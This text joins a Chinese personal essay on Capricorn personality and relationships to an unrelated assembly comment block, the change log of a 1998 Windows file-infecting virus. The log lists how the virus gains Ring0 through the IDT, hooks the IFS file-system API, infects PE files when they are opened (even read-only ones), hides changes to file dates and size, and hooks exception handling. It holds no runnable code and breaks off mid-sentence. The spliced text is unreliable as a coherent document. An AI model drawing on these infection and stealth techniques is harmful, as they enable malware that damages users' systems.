我是一个天生好玩的魔蝎仔，但不懂得表达自己的感情.认为自己很成熟,却老是被别人
说是最不成熟的。我外表很阳光，但我觉得自己内心非常冷漠冷酷，我怀疑我会冷酷到
就算我工作附近房子倒塌，我也能安定的呆在原位把要忙的任务做完才去了解究竟发生
什么事。而且很少跟陌生人开玩笑，不想把自己最内心的东西表现出来。即使有不开心
的时候,也很少会说出来.怕别人了解我,更不喜欢别人看穿我.我不是缺乏安全感，而是
我想自己去承担一些事情，因此我只能伪装坚强。
有人说我们魔蝎座是世界上最冷漠的得星座之一，其实想了解魔蝎座很简单，只要你真
心真意的去关心他，主动跟他聊天，很容易将他筑起的保护墙融化。真诚的交流是攻破
我们魔蝎座内心早已筑起的保护墙的武器之一。不是魔蝎座的人不想表达出自己的内心
情绪，而是他们不懂如何表达才对，怕过分敢于表现会得不到他们自己想要的结果，其
实想了解魔蝎座的人内心在想什么，很简单，主要你主动的找话题，慢慢引导把话题聊
开了，魔蝎座的人就会在不知不觉中将他们深处的思想表达出来，这时你只需当一个合
格的听众就可以了。
魔蝎座男孩子的女朋友或者老婆们，如果下次他们再对你们表现得冷漠、爱理不理的时
候，请你们不要远离他们，而是主动去跟他们聊。他们不是不爱你们了，是怕你们不爱
他们了，需要你们主动去找他们。
对付魔蝎座的人最厉害的武器就是主动，除了主动还是主动。因为魔蝎是一个被动的星
座。个人觉得魔蝎仔需要配一个健谈而且主动的MM当女朋友或者老婆，这样才能完全使
他们释放压抑在心中的情绪，这样生活才能更加和谐更加美满。

;*==========================================================================*
; * Modification History *
;*==========================================================================*
; * v1.0 1. Create the Virus Program. *
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code doesn't Reload into System. *
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File ; System.
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook.
; * 6. When System Opens Existing PE File, the File will be
; * Infected, and the File doesn't be Re infected. *
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and ; Time
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Manager Would Normally Call to Implement *
; * this Particular I/O Request. *
; * 10. The Virus Size is only 656 Bytes. *
;*==========================================================================*
; * v1.1 1. Especially, the File that be Infected will not ; ;
Increase *
; * it's Size... ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing.
; * When Exception Error Occurs, Our OS System should be in *
